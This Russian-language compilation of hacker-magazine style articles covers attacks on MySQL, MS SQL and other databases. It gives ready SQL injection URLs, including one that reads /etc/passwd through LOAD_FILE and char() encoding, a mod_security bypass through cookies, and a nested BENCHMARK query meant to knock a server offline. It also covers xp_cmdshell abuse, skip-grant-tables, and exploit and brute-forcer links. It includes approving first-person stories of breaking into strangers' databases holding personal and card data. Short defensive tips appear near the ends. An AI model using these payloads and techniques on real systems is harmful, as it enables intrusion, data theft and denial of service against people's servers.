Довольно части возможность SQL инъекции возникает внутри параметра, передающегося к limit. Это может быть номер страницы и тд и тп.

Практика показывает, что все вышесказанное может быть применено и в этом случае.

MySQL корректно реагирует на запросы типа:

Select ... limit 1,2 union select....

Select ... limit 1 union select....

Если необходимо чтобы первый подзапрос вернул пустой результат, необходимо искусственно задать большие смещения для первого запросы:

Select ... limit 99999,1 union select.... Либо, Select ... limit 1,0 union select....

некоторые "подводные камни".

1) Magic quotes

Наиболее частым подводным камнем может оказаться включение магических кавычек в конфигурации php. В случае строковых параметров это вообще позволит избежать возможности SQL инъекции, а в случае целый (дробных) параметров, в подобных запросах невозможно будет использовать кавычки, а следовательно и строки.

Частично, решить эту проблему поможет нам функция char, которая возвращает строке по кодам символов. Например

http://site/test.php?id=9999+union+select+char(116,101,115,116),null,null/*

http://site/test.php?id=9999+union+select+char(116,101,115,116),null,null+from_table1/*

http://site/test.php?id=9999+union+select+null,LOAD_FILE(char(47,101,116,99,47,112,97,115,115,119,100)),null/*

Единственное ограничение. В случае, если хочется сделать into outfile, то а качестве имени файла, необходимо передать имя файла в кавычках. into outfile char(...) выдает ошибку.

2) Mod_security.

Казалось бы, этот модуль веб сервера apache, делает невозможным эксплуатацию уязвимости SQL инъекции. Однако, при некоторых конфигурациях PHP и этого модуля, атаку можно провести прозрачно для этого модуля.

Конфигурация по умолчанию модуля mod_security не фильтрует значение, переданные как cookie. Одновременно, в некоторых случаях, а также в некоторых конфигурациях по умолчанию php, переменные cookie регистрируются автоматически.

Таким образом, злонамеренные значения переменных, абсолютно прозрачно для mod_security можно передать как cookie значения.

DOS в MySQL инъекции.

Если не имеется возможности применения union в запросе, например, MySQL имеет версию 3.*, то, тем не менее, инъекцию можно эксплуатировать, например, для того, чтобы заставить сервер базы данных исчерпать все свои ресурсы.

Для этого, будем использовать функцию BENCHMARK, которая повторяет выполнение выражения expr заданное количество раз, указанное в аргументе count. В качестве основного выражения возьмем функцию, которая сама по себе требует некоторого времени. Например, md5(). В качестве строки возьмем current_date, чтобы строка не содержала кавычек. Функции BENCHMARK можно вкладывать друг в друга. И так, составляем запрос:

http://site/test.php?id=BENCHMARK(10000000,BENCHMARK(10000000,md5(current_date)))

1000000 запросов md5 выполняются (в зависимости от мощности сервера), примерно 5 секунд, 10000000 будут выполнятся около 50 секунд. Вложенный benchmark будет выполняться очень долго, на любом сервере. Теперь останется отправлять до нескольких десятков подобных http запросов в секунду, чтобы ввести сервер в беспробудный даун.

другие типа MySQL инъекции.

Фильтровать целые значения для целых параметров и кавычки для строковых параметров порой недостаточно. Иногда к незапланируемой функциональности может привести применение % и _ специальных символов внутри like запроса. Например:

mysql_query("select id from users where password like '".addslashes($password)."' and user like '".addslashes($user)."'");

в этом случае к любому пользователю подойдет пароль %

apache mod_rewrite

В некоторых случаях, СКЛ инъекция возможна даже в параметре, который преобразуется методами mod_rewrite модуля apache, к GET параметру скрипта.

Например, скрипты типа /news/127.html преобразуются к /news/news.php?id=127 следующим правилом: RewriteRule ^/news/(.*)\.html$ "/news/news.php?id=$1"

Это позволит передать злонамеренные значения параметра скрипту. Так, например /news/128-1.html

Если выводятся подробные сообщения об ошибках, то можно сразу узнать адрес скрипа, и далее, подобрав параметр работать уже с ним. Если же нет, то можно исследовать уязвимость, прямо редактируя имя файла.

коротко о защите.

Для защиты от всего вышесказанного достаточно придерживаться нескольких простых правил.

1) для целых и дробных величин, перед их использованием в запросе достаточно привести величину к нужному типу.

$id=(int)$id; $total=(float)$total;

Вместо этого можно вставить систему слежения за тестированием на SQL инъекцию.

if((string)$id<>(string)(int)$id) {

//пишем в лог о попытке

die('ops');

}

2) для строковых параметров, которые не используются в like, regexp и тд, экранируем кавычки.

$str=addslashes($str);

или, лучше,

mysql_escape_string($str)

3) в строках, которые предполагается использовать внутри like, regexp и тд, необходимо так же заэкранировать специальные символы, применяющиеся в этих операторах, если это необходимо. В противном случае, можно задокументировать использование этих символов.

Статья "О сервере бедном замолвите слово..." вызвала большой интерес читателей, поэтому я решил продолжить эту тему – тем более что кроме Web-серверов есть еще и сервера баз данных...

Итак, у вас есть сервер под управлением Windows NT (2000). Как вы, наверное, знаете, под этой операционной системой могут работать различные типы серверов: Web, почтовые, файловые, печати, баз данных. Microsoft настоятельно рекомендует для каждой из перечисленных задач использовать отдельные компьютеры, а еще лучше два (три, четыре...). Для большинства организаций это неприемлемо, поэтому все сервисы очень часто можно найти на одном мощном сервере – таким образом уменьшается стоимость использования системы. Но, как известно, у любой медали две стороны, и вот на второй стороне этой медали находится как раз проблема безопасности. Ведь если хакер взломает один сервис, то велика вероятность, что он получит доступ и ко всем остальным.

После эпидемии вирусов Code Red, Code Red 2 и Nimda1 надежность Web-сервера IIS (Internet Information Services) от Microsoft была поставлена под большой и жирный знак вопроса. По всему миру огромное количество компьютеров стало уязвимо не на словах, а на деле. Пусть софтверный гигант бьет себя пяткой в грудь и говорит, что их Web-сервер самый популярный и поэтому в нем нашли столько много багов... Как эта популярность набрана, говорить, наверное, не надо – ровно так же, как было и с Internet Explorer. Если вам надо поставить что-то серверное, то часто без установленного IIS это сделать просто нельзя2. Да и про популярность можно поспорить, по крайней мере в России. Хорошо лишь, что после нашествия вирусов все-таки (наконец!!!) администраторы стали устанавливать заплатки. Ладно, если вам нравится IIS (как мне, например), используйте его на здоровье, но – будьте бдительны!

Какая фирма обходится без баз данных? Ведь при их применении гораздо удобнее и быстрее вести учет сотрудников, аудит средств и многое другое. В качестве сервера баз данных чаще всего используют MS SQL Server, Oracle, Interbase, My SQL. Раз мы уже договорились, что у нас компьютер работает под управлением Windows, то глупо было бы предположить, что базы данных работают под My SQL. Конечно же, для этого используется MS SQL Server! Хороший продукт, мне нравится, и если вы подумали, что я сразу начну рассказывать о его взломе, то вы ошибаетесь. Лично я не слышал про способы его "опускания". Хотя... есть все же одна штука... Ладно, уговорили, записывайте.

Аутентификация пользователей в MS SQL Server3 возможна двумя путями: используя логин из Windows и/или конкретную учетную запись, созданную специально для базы данных. Первый вариант предоставляет пользователю больше удобств. Зная имя и пароль в базе данных, можно делать в домене все, что доступно данному пользователю. Или наоборот – если вы прописаны в домене, то можете получить доступ к данным из БД, причем очень велика вероятность того, что администратор не обрезал права доступа. А вероятность того, что в базе данных хранится много секретной или в крайнем случае конфиденциальной информации, ничуть не меньше....

А зная пароль администратора, можно вообще горы сдвигать! Так вот, вся пугающая прелесть MS SQL Server в том, что по умолчанию после установки заводится учетная запись sa – это и есть администратор. Догадываетесь, какова длина его пароля? Ноль символов! Обычно все дальнейшие действия с базой данных администратор проводит через заход под своим именем из домена, а про sa все забывают. Если, конечно, вообще знали...

Таким образом, любой человек, имеющий доступ к серверу, может делать с базой всё, что угодно. Добавлять пользователей БД, менять им пароли, читать данные, удалять, изменять... Главное хорошо знать язык построения запросов SQL. Да, помните, я говорил в начале статьи, что если взломан4 один сервис, то могут быть взломаны и все остальные? Сейчас я докажу это!

Попробуйте подсоединиться к серверу баз данных и выполнить следующий код:

use master

exec xp_cmdshell 'dir /O c:\'

Рис. 1. Получение структуры каталогов на удаленном сервере
Рис. 1. Получение структуры каталогов на удаленном сервере


Да-да-да, не удивляйтесь, через сервер БД можно получить доступ к командной строке. Для этого служит хранимая процедура xp_cmdshell. Какую потенциальную опасность это несет, я и говорить не буду – просто вспомните про net.exe, route.exe, format.exe... Да мало ли добра лежит в winnt\system32! К тому же и в самом SQL есть большое количество полезных команд и хранимых процедур. Больше всего мне понравилась одна, видимо, оставленная Microsoft специально для хакеров – напишешь shutdown, и сервер перезагрузится. Лепота... В общем, имея доступ к командной строке с правами администратора, имеешь [доступ ко] все[му].

Рис. 2. Меняем пароль администратора БД
Рис. 2. Меняем пароль администратора БД


Есть одно большое НО. Чтобы подсоединиться к серверу, надо либо самому оказаться в его локальной сети, либо же "застать" оный в Интернете. Второе, по логике, должно быть вообще недопустимым – ведь даже если пароль администратора неизвестен, его можно подобрать, и очень легко – поверьте моему опыту. Однако зачем такие сложности? Вспомните еще раз про две стороны медали. Например, у организации есть сервер баз данных. Через некоторое время руководство захотело иметь свой представительский Web-сервер. Второй компьютер покупать жалко, поэтому на первый поставили дополнительно Web-сервер и купили IP-адрес. Ура! Работает и первое, и второе. Про то, что база данных становится доступной извне, никто и не думает...

Итак, если найден компьютер с IIS, то всегда есть и шанс наличия MS SQL Server. Приблизительных процентов подобного соотношения приводить не буду, расскажу лишь маленькую историю.

Меня с моим приятелем, работающим в провайдерской конторе, давно интересовал вопрос о соотношении использования различных Web-серверов. Несомненно, есть всевозможные независимые статистические данные, но они часто противоречат друг другу. Однажды товарищ быстренько написал программу на Perl, которая проверяет наличие Web-сервера на удаленном компьютере и определяет его название. За неделю поисков было найдено довольно много компьютеров, и оказалось, что IIS в мире все-таки используется, и он не сильно  отстал от Apache. А из всего объема просканированных компьютеров Web-сервера были установлены только на 0,5%.

Рис. 3. Статистика использования Web-серверов в мире
Рис. 3. Статистика использования Web-серверов в мире


Получив список адресов, где стоял IIS, я решил ради любопытства проверить их прочность. Запустив свой любимый LANguard Network Scanner (см. "О сервере бедном замолвите слово"), я стал смотреть, что, собственно, у кого открыто. Уже на третьем компьютере я обнаружил MS SQL. "А почему бы и нет?" – подумалось мне, и, запустив Query Analyzer и введя адрес + sa, я нажал Enter. В тот час пинг был быстрый и через несколько секунд глаза у меня разбежались от названий баз данных, к которым я получил доступ. Почти в каждой хранилось около сотни имен пользователей, их электронные и реальные адреса, даты рождений и, конечно, пароли. Немного побродив по таблицам, я отсоединился и забыл адрес. Даже ничего не стирал и приветов не оставлял. Я хоть и хакер, но безобидный...

Вообще же, чрезвычайно весело лазить через удаленный компьютер по чужой локальной сети, подключать сетевые диски с музыкой, а потом выполнять на них что-то типа "start z:\zemfira.mp3". То-то пользователи удивяться, когда на заблокированном сервере внезапно начнет играть музыка... А есть еще командочка net send *, когда всем пользователям домена приходит сообщение от их же сервера. В общем, развлекайся – не хочу!

Рис. 4. Отправка сообщения всем пользователем удаленного домена
Рис. 4. Отправка сообщения всем пользователем удаленного домена


Шутки в сторону. Теперь задумайтесь, что можно сделать, если подходить к поиску информации осознанно. Если находить заказчиков и продавать им данные – получается промышленный шпионаж, и доступен он... практически каждому! Не надо заканчивать спецкурсы и учиться в закрытых структурах. Продвинутый школьник или студент сделает все "за таблеточку, за монеточку". Страшно.

Но всего этого можно избежать. Прислушаемся к советам Microsoft и хотя бы базу данных установим на дополнительном компьютере, не имеющем выхода в Интернет. При надобности будем обращаться к данным на другом компьютере через клиентское программное обеспечение. Пусть у нас есть, к примеру, Интернет-магазин. Можно предложить такую схему: CGI-скрипт на Web-сервере посылает запросы на сервер баз данных, используя специальную облегченную учетную запись пользователя, имеющего доступ только к таблицам магазина. Чтобы максимально защитить структуру базы, можно вместо посылки готовых запросов вызывать хранимые процедуры сервера БД. Если наш Интернет-магазин как-либо взломают, то достаточно лишь поменять пароль пользователя магазина и возможность потенциального доступа к другим таблицам сервера исчезнет. К тому же, если вызывать хранимые процедуры, то можно гораздо более независимо написать сам Интернет-магазин, да и данные он будет получать быстрее.

Что в итоге? В общем, достаточно банальные советы: чтобы обезопаситься от взлома, поставьте все существующие заплатки (как всегда), используйте по возможности для разных задач несколько компьютеров, привыкните чаще менять пароли и делать их большими. Правда, обычно этого никто не делает...

Ну а если вы уверены в своей безопасности – дайте мне свой IP, и я постараюсь проверить ее. Об оплате поговорим потом...

1 Nimda=Admin наоборот. Тонкий намек ;)

2 Так, например, в организации, где я работаю, ставили сервер баз данных MS SQL Server и Active Directory. Чтобы это осуществить, пришлось дополнительно добавить IIS, про который сразу забыли. Вспомнили только тогда, когда я решил проверить сервер на подверженность Unicode Bug.

3 Так было в MS SQL Server 7. В 2000 уже появилось предупреждение о создании пользователя sa с пустым паролем.

4 Стоит только оговориться, а "взломан" ли компьютер? Ведь ничего незаконного никто не делает. Просто заходит на компьютер и все.

P.S. Уже спустя через довольно продолжительный для компьютерной сферы промежуток времени, я прочитал, что большое распространение получил вирус, сканирующий сеть в поисках MS SQL Server и пробующий зайти на них под пользователем sa с пустым паролем.

Взлом паролей в MS SQL Server

Система парольной защиты пакета SQL Server оказалась не такой устойчивой, как принято было считать. Такое открытие сделал Дэвид Личфилд (David Litchfield), специалист по компьютерной безопасности из компании Next Generation Security Software (NGSS), изучив работу недокументированной функции pwdencrypt(), отвечающей за хэширование паролей в SQL Server. Первым делом Личфилд решил проверить, добавляется ли в хэш пароля случайный шум, позволяющий более надежно зашифровать информацию. Для этого он сверил значения, возвращаемые pwdencrypt() от одного и того же пароля (для проверки Личфилд выбрал слово foo), но в разное время. При этом оказалось, что результаты действительно различаются - то есть, к хэшу пароля добавляется случайное значение, которое генерируется в зависимости от времени суток и позволяет замаскировать одинаковые по написанию пароли. Далее Личфилд проанализировал механизм генерации шума, который представляет собой целое число, получаемое в результате объединения двух псевдослучайных чисел, которые, в свою очередь, генерируются, исходя из системного времени.

Сведения о механизме создания шума уже облегчают взлом паролей, однако дальнейшие изыскания показали, что в система хранения паролей еще более уязвима. Как оказалось, вводимый пользователем пароль сначала переводится в формат unicode, затем к нему добавляется шум, а после этого осуществляется хэширование пароля. Однако в SQL Server хранится не одна, а две версии пароля. Первая из них зависит от регистра символов, а вторая состоит исключительно из символов в верхнем регистре. При этом к обеим версиям пароля добавляется одинаковый шум. Таким образом, зная механизм генерации шума можно простым перебором слов подобрать пароль в верхнем регистре - для этого требуется значительно меньше ресурсов, чем при подборе пароля, чувствительного к регистру - после чего подбор последнего становится тривиальной задачей.

Для демонстрации обнаруженной уязвимости Литчфилд написал простую программу на Си, которая вначале хэширует все имеющиеся в ее распоряжении слова, сравнивая ее с хранящимся в SQL Server хэшем пароля в верхнем регистре. На компьютере с процессором Pentium III с частотой 1 ГГц и 256 Мб ОЗУ программа за две секунды перебирает 200 000 слов.

Обзор уязвимостей с наглядными примерами

Стало модным хранить информацию в БД - от сообщений на попсовых форумах до генетических кодов новейших белковых соединений. Понятно, что для хакеров такие базы являются предметом страстного желания и возможностью поправить свое материальное положение. А чтобы встать на защиту СУБД, надо понимать основные приемы ее взломщика.

Несмотря на то что SQL-сервер находится за брандмауэром и принимает подключения только с доверенных машин, стащить важную информацию с него не так уж и сложно. Более того, для этого даже не нужно быть суперхакером, достаточно получить доступ к одному серверу из локальной сети, и данные окажутся в преступных руках. Если, конечно, администратор не уделил серверу особого внимания.

Парольная проблема

Чаще всего взлом СУБД происходит из-за "плохого" пароля или из-за его полного отсутствия. Но даже если он и существует, взломать БД для хакера не составит особого труда. Чтобы ты в полной мере осознал проблему, приведем ряд примеров-взломов (от простого к сложному).

1. Как-то раз хакер баловался и сканировал nmap’ом какую-то русскую подсеть в зоне *.rose.ru, в которой находились серверы одного крупного хостера. Сканер записал в лог информацию об основных сервисах в этой подсети. На трех адресах (из 120) вертелись демоны MySQL. Хакеру стало интересно, какая информация хранится в этих СУБД. Он набрал в шелле команду "mysql –h host –u root", и... сервис сказал, что с его хоста не разрешено соединяться с базой. Тогда хакер попробовал другой хост, и... его пустили внутрь! Поразительно, но админ даже не удосужился установить пароль на вход. Кстати, информация была не такой уж и профанской: в БД хранились сведения о концертах каких-то московских музыкальных групп. Однако хакер ничего не стал изменять, а просто создал дополнительную базу с названием hack :). Через пару дней администратор ее заметил и взялся за ум.

2. Поздним вечером другой хакер сканировал на различные сервисы буржуйскую подсеть (хакеры вообще любят сканировать порты) Windows'овским сканером LanGuard. Просмотрев его отчет по диагонали, он, к своей радости, обнаружил два хоста с открытым портом 1433. Это означало, что на сервере крутился небезызвестный MS SQL. Ситуация похожа на предыдущий случай. Первый демон не пустил в гости, а второй поддался. Только вместо логина root хакер использовал учетную запись sa с пустым паролем. В базе хранился каталог кредитных карт одного крупного интернет-магазина. По-видимому, админ решил поднять бэкап-сервер и не позаботился о защите.

3. Подобным образом некий хакер несколько раз проникал на Windows'овские mysqld. Дело в том, что в ранних версиях разработчики забили на аутентификацию в Win32-сервисах. Действительно, даже при грамотной настройке сервис пускал абсолютно всех под любым именем пользователя без пароля :). Как-то раз, благодаря этому, хакеру удалось дефейснуть один популярный форум в локальной сети (правда, потом получил подзатыльник от администратора). Поэтому обязательно проверяй безопасность сервиса, если он крутится на Windows.

Прицел на MySQL

Большинство ценных баз данных хранятся в СУБД под названием MySQL. По правилам безопасности этот демон должен быть установлен на *nix-like-системах на отдельно взятом сервере. Но часто происходит так, что все сервисы (включая mysqld) вертятся на одной машине, обычно ради экономии денег. Отсюда возможности взлома MySQL. Ниже приводим три примера из жизни, чтобы показать проблему наглядно.

Пример 1: Root - спаситель

Рассмотрим один из типичных случаев взлома БД. Однажды некий хакер нашел сервер, на котором крутился бажный mod_php. Через пару часов эксплойт 7350fun предоставил ему шелл-доступ к машине. Быстро залив хороший backdoor, хакер зашел по телнету на порт 31337 ;), затем добил сервер известным эксплойтом для ядерной баги ptrace (не стоит говорить про то, как администраторы патчат ядра) и получил рутовые права.

Помимо web-сервера, на машине располагался MySQL. По всем правилам порт 3306 был зафильтрован файрволом, на сервисе стоял сложный пароль и запрет на вход с посторонних машин. Однако mod_php и дырявое ядро создали все условия для хищения данных, лежащих в MySQL. Даже без знания заветного пароля хакер мог зайти в СУБД. Ему даже не пришлось копировать таблицы на свой винчестер и извращаться с заменой некоторых файлов. Он просто убил процесс mysqld, а затем запустил его с ключиком --skip-grant-tables. Оставалось лишь обратиться к БД под суперпользователем, и сервис впустил хакера без запроса пароля! Бережно скопировав нужные таблицы, хакер перезапустил демон в обычном режиме и удалился с сервера. Вся грязная работа была выполнена в кратчайшие сроки :). А в таблицах были пароли клиентов на раскрученный интернет-магазин...

Пример 2: Поиск пароля

Как-то раз в аську к некому хакеру постучался его друг и стал слезно умолять достать пароль одного недруга на форум, чтобы отправить несколько нецензурных сообщений от его имени. Работа была простая, взломщик даже нашел баг в www-скрипте, позволяющему выполнять команды на сервере. Хакер залил backdoor и забрался в консоль. К сожалению, на сервере стояла новенькая FreeBSD, для которой не существует хороших локальных эксплойтов. Следовательно, прием с перезапуском mysqld тут не прокатит. СУБД и web-сервер находились на одной машине, а хакер был наделен правами nobody. В таком положении ему требовалось найти конфиг от форума, что он успешно сделал с помощью команды "locate config.inc.php". В конфигурационном файле находилась учетная запись на сервис MySQL. Последняя команда "mysql –uuser –ppassword –e ‘select password from users where username=’user’’ forum" выдала хакеру зашифрованный пароль пользователя. Оставалось только расшифровать пароль с помощью Md5Inside (http://inattack.ru/program/25) или другого брутфорсера.

Здесь же уместен другой случай взлома MySQL. Однажды некому хакеру посчастливилось подобрать пароль одного пользователя на раскрученном хостинге. Его права были урезаны по самые уши, даже компилятор не запускался. Тогда хакеру пришло в голову выполнить команду "find / -name *history". И что ты думаешь? Он нашел целых пять читабельных файлов .mysql_history. В них, конечно же, была строчка с паролем доступа в незашифрованном виде. Таким вот образом хакер получил доступ к пяти таблицам MySQL. Правда, информация там не была особо ценной, в основном аккаунты к форуму или к free email-сервису...

Пример 3: Атака эксплойтом

Не так давно для MySQL появился рабочий эксплойт. Суть его в том, что пользователь может отправить сложный пароль, переполнив буфер на серверной стороне. В итоге сервис авторизует клиента даже в том случае, если админ устанавливал сложнейший пароль. Обидно, но данный баг реально работает лишь в третьей версии mysqld. Но полгода назад (аккурат после выхода эксплойта) хакеры здорово поглумились над демонами. Через несколько дней после выхода эксплойта кто-то переделал MySQL-клиент и выложил его в public-источник. С виду это обычный бинарник, но на самом деле в него зашит вышеописанный эксплойт. С его помощью можно быстро проверить хост на уязвимость. Достаточно соединиться с сервером без указания пароля и, если версия сервиса устаревшая, тебя пустят внутрь.

Помимо этого эксплойта, существуют и другие. Однако рассказывать про них не имеет смысла, потому что сейчас ты уже не найдешь дырявые версии. А пару лет назад была возможность не только проникнуть в СУБД, но и выполнять команды на сервере с правами суперпользователя.

Кстати, о командах. Через MySQL невозможно выполнить запрос, который бы интерпретировался каким-либо шеллом. Однако никто не запретит тебе создать файл с произвольными данными, владельцем которого будет пользователь, под которым ты зашел в СУБД. Для этого выполняется нехитрый SQL-запрос: "SELECT * FROM table INTO OUTFILE ‘/home/user/blah.txt’". Если файл blah.txt существует, он успешно перезапишется. В некоторых целях этот трюк может быть очень полезен, особенно если зайти под рутовым аккаунтом.

Атака MS SQL

Вторая по популярности СУБД носит гордое имя MS SQL и используется на многих раскрученных (чаще всего зарубежных) серверах. Несмотря на то, что для этого сервиса вышло целых три сервиспака, баги в творении MicroSoft были, есть и будут :).

Самый первый баг, о котором пишут уже много лет, заключается в недостаточной настройке MS SQL. Действительно, некоторые админы устанавливают сервер, видят, что все работает, и экспортируют ценную БД. Особо одаренные администраторы даже не задумываются, что вход в СУБД через пользователя sa с пустым паролем - не совсем безопасная идея :). Вспоминается случай, когда пару лет назад некий хакер проверял защиту одного зарубежного интернет-магазина, торгующего постерами. На главном сервере была установлена Windows с седьмым MS SQL. Факт отсутствия файрвола очень заинтриговал хакера. Он нашел в интернете клиент isql.exe, с помощью которого осуществляется обращение к СУБД, а затем попробовал залогиниться под пользователем Administrator. Хакера послали куда подальше, но он не стал отчаиваться, а просто сменил логин на sa. И... побывал внутри системы :).

Получить доступ к MS SQL значит завладеть всей системой. В отличие отсвоих конкурентов, разработчики этой СУБД включили некоторые функции, выполняющие системные команды. Одна из них называется xp_cmdshell. Причем в ряде случаев никто не запрещает выполнять внешние запросы даже под гостевым логином (если администратор не уделил должное внимание настройке СУБД). К примеру, однажды хакер баловался одним сканером Windows, определяющим возможность гостевого входа. Примечательно, что хакерское творение реализовано в виде единого bat-файла, который быстро сканирует заданную подсеть на наличие гостевого входа в MS SQL. Чтобы проверить сеть на уязвимость, необходимо положить в каталог с файлом scan.bat (www.securitylab.ru/35715.html) клиент isql.exe, а затем запустить сканер с параметром адреса сети (192.168.0.1/24, например). Сначала bat-файл проверит наличие MS SQL, затем попробует залогиниться под гвестом, а после этого попытается выполнить командный запрос через встроенную функцию xp_cmdshell. Полгода назад этот способ работал на ура :).

Как и для MySQL, к СУБД в Windows было написано очень много рабочих эксплойтов. Один из них до сих пор способен вызвать переполнение буфера в MS SQL SP2 и предоставить хакеру командный доступ к системе (www.packetstormsecurity.org/0211-exploits/sql2.cpp). Атака проводится на UDP порт 1434. Примечательно, но для осуществления взлома не потребуется знать логин и пароль на вход в MS SQL. Таким образом, в теории все сервисы до SP3 подчиняются хакеру. Но на практике это не так: эксплойт безбожно глючит при атаке на MS SQL SP2 и не всегда возвращает командный доступ при наличии SP1.

Если сервер имеет активный MS SQL, но все вышеперечисленные приемы не дали желаемого результата, хакеры пробуют подобрать пароль к СУБД. В этом им помогает замечательная утилита mssqlpwd (www.packetstormsecurity.org/Crackers/mssqlpwd.zip), которая имеет вид пропатченного клиента. Достаточно скормить ей увесистый словарик, и процесс перебора пойдет своим ходом.

Для MySQL также существуют переборщики. Один из известных брутфорсеров получил название hydra (thc.org). Этот многофункциональный Linux'овый переборщик способен осуществлять подбор паролей с поддержкой потоков, комболистов, словарей и т.д. Никто не запрещает запустить его в background на зарубежном шелле. При таком раскладе даже самый стойкий пароль обязательно подберется :).

И, конечно же, MS SQL и MySQL ломаются традиционной SQL-инжекцией. При определенном раскладе хакер получит доступ к командному шеллу с правами system. Расписывать теорию SQL-инжекции нет смысла, так как в этом номере есть отдельная статья.

Ты, наверное, заметил, что методы взлома MySQL и MS SQL несколько схожи. Действительно, эти СУБД построены на реляционной модели, поэтому язык обращения к ним практически одинаков. Что касается багов в самом софте, то хакеры уделяют одинаковое внимание как Windows, так и Linux. При таком раскладе администратор находится в самом невыгодном положении: он должен каждый день читать ленты багтрака и при необходимости скачивать обновления или свежие версии СУБД. Поэтому, если ты админ крупной СУБД, не спеши проверять чужие подсети на безопасность, а в первую очередь проведи аудит своей.

Другие СУБД

Кроме MySQL и MS SQL, существуют другие СУБД, с которыми можно встретиться на многих серверах. Это и многофункциональный PostgreSQL, и специфический Oracle. Приемы взлома этих БД во многом схожи с методами, описанными в статье. Для доступа к этим СУБД используются свои клиенты (pgsql и sqlplus соответственно). Но чаще обращаются к этим СУБД используя мощь языка Perl или PHP. Например, если хакеру известны логин и пароль на доступ к Oracle, но по какой-то причине он не может найти (запустить) клиент, то ему проще залить на сервер Perl'овый скрипт, а затем выполнить его. Код будет примерно таким:

#!/usr/bin/perl

use DBI;

$TB=$ARGV[0];

$oradrh = DBI->install_driver( 'Oracle' );

$ENV{'ORACLE_SID'} = "web01";

$dataSource = "dbi:Oracle:$ENV{'ORACLE_SID'}";

$dbh=DBI->connect_cached($dataSource,root”,”mypwd”,{AutoCommit => 1 })

or die print"Can't connect to Oracle database: $DBI::errstr\n";

my $sql = qq{ SELECT * FROM $TB WHERE rownum <= 3 }; # Выполнить SELECT с выводом только трех значений (для краткости)

my $sth = $dbh->prepare($sql);

$sth->execute();

while($indexes=$sth->fetchrow_arrayref) {

for($i=0;$i<=37;$i++) {

print "obj: $indexes->[$i]\n # Вывести данные на экран

";

}

}

$sth->finish();

Для PHP код будет уже другим. Вообще, сценарии - великая вещь.

Ссылки на электронную литературу

Чтобы быть в курсе уязвимостей в СУБД, достаточно посещать несколько сайтов (хотя бы раз в неделю) или подписаться на рассылку новостей. Ниже список ресурсов, где можно найти интересную информацию по взлому и защите СУБД.

www.xakep.ru – информация о последних обнаруженных уязвимостях (для СУБД в том числе) плюс анонс новых выпусков "Хакер" и "Хакер-Спец".

www.securitylab.ru – статьи по взлому баз данных, ссылки на заплатки, а также эксплойты (к примеру, эксплойт bypass auth для MySQL) для этих уязвимостей.

www.security.nnov.ru – в разделе "Эксплойты" (www.security.nnov.ru/search.exploits.asp) есть несколько для атаки на MySQL и MS SQL.

www.packetstormsecurity.org – в поиске (www2.packetstormsecurity.org/cgi-bin/search/search.cgi) задай ключевые слова MS SQL, MySQL, Oracle, PostgreSQL и т.п.

www.opennet.ru – правильная настройка Unix и сервисов (настройка СУБД в том числе).

Последняя версия Hydra умеет вести перебор паролей как для MySQL, так и для MS SQL.

Запомни главное правило: при крупных проектах никогда не держи SQL-сервер и web-сервер на одной машине.

Для MS SQL вышло уже три сервиспака. Взять их можно на microsoft.com.

При настройке MS SQL обязательно выруби гостевой вход, смени имя пользователя и пароль, а также отключи функции выполнения внешних команд.

Не стесняйся разделять права пользователям MySQL. Не давай право учетной записи форума иметь доступ ко всем остальным базам данных.

Помимо авторизации по хостам и парольной аутентификации обязательно прикрывай порт сервиса файрволом, чтобы наверняка защитить свою СУБД.

Все примеры даны лишь в ознакомительных целях. За применение на практике автор и редакция журнала ответственности не несут.


В общем случае программное обеспечение любой универсальной компьютерной системы состоит из трех основных компонентов: операционной системы, сетевого программного обеспечения (СПО) и системы управления базами данных (СУБД). Поэтому все попытки взлома защиты компьютерных систем можно разделить на три группы:


атаки на уровне операционной системы;

атаки на уровне сетевого программного обеспечения;

атаки на уровне систем управления базами данных.

 

Атаки на уровне систем управления базами данных

 

Защита СУБД является одной из самых простых задач. Это связано с тем, что СУБД имеют строго определенную внутреннюю структуру, и операции над элементами СУБД заданы довольно четко. Есть четыре основных действия — поиск, вставка, удаление и замена элемента. Другие операции являются вспомогательными и применяются достаточно редко. Наличие строгой структуры и четко определенных операций упрощает решение задачи защиты СУБД. В большинстве случаев хакеры предпочитают взламывать защиту компьютерной системы на уровне операционной системы и получать доступ к файлам СУБД с помощью средств операционной системы. Однако в случае, если используется СУБД, не имеющая достаточно надежных защитных механизмов, или плохо протестированная версия СУБД, содержащая ошибки, или если при определении политики безопасности администратором СУБД были допущены ошибки, то становится вполне вероятным преодоление хакером защиты, реализуемой на уровне СУБД.

 

Кроме того, имеются два специфических сценария атаки на СУБД, для защиты от которых требуется применять специальные методы. В первом случае результаты арифметических операций над числовыми полями СУБД округляются в меньшую сторону, а разница суммируется в некоторой другой записи СУБД (как правило, эта запись содержит личный счет хакера в банке, а округляемые числовые поля относятся к счетам других клиентов банка). Во втором случае хакер получает доступ к полям записей СУБД, для которых доступной является только статистическая информация. Идея хакерской атаки на СУБД — так хитро сформулировать запрос, чтобы множество записей, для которого собирается статистика, состояло только из одной записи.

 

Атаки на уровне операционной системы

 

Защищать операционную систему, в отличие от СУБД, гораздо сложнее. Дело в том, что внутренняя структура современных операционных систем чрезвычайно сложна, и поэтому соблюдение адекватной политики безопасности является значительно более трудной задачей. Среди людей несведующих бытует мнение, что самые эффективные атаки на операционные cистемы могут быть организованы только с помощью сложнейших средств, основанных на самых последних достижениях науки и техники, а хакер должен быть программистом высочайшей квалификации. Это не совсем так.

 

Никто не спорит с тем, что пользователю следует быть в курсе всех новинок в области компьютерной техники. Да и высокая квалификация — совсем не лишнее. Однако искусство хакера состоит отнюдь не в том, чтобы взламывать любую самую "крутую" компьютерную защиту. Нужно просто суметь найти слабое место в конкретной системе защиты. При этом простейшие методы взлома оказываются ничуть не хуже самых изощренных, поскольку чем проще алгоритм атаки, тем больше вероятность ее завершения без ошибок и сбоев, особенно если возможности предварительного тестирования этого алгоритма в условиях, приближенных к "боевым", весьма ограничены

 

Успех реализации того или иного алгоритма хакерской атаки на практике в значительной степени зависит от архитектуры и конфигурации конкретной операционной системы, являющейся объектом этой атаки. Однако имеются атаки, которым может быть подвергнута практически любая операционная система:

кража пароля;

подглядывание за пользователем, когда тот вводит пароль, дающий право на работу с операционной системой (даже если во время ввода пароль не высвечивается на экране дисплея, хакер может легко у шип, пароль, просто следя за перемещением пальцев пользователя по клавиатуре);

получение пароля из файла, в котором этот пароль был сохранен пользователем, не желающим затруднять себя вводом пароля при подключении к сети (как правило, такой пароль хранится в файле в незашифрованном виде);

поиск пароля, который пользователи, чтобы не забыть, записывают па календарях, в записных книжках или на оборотной стороне компьютерных клавиатур (особенно часто подобная ситуация встречается, если администраторы заставляют пользователей применять трудно запоминаемые пароли);

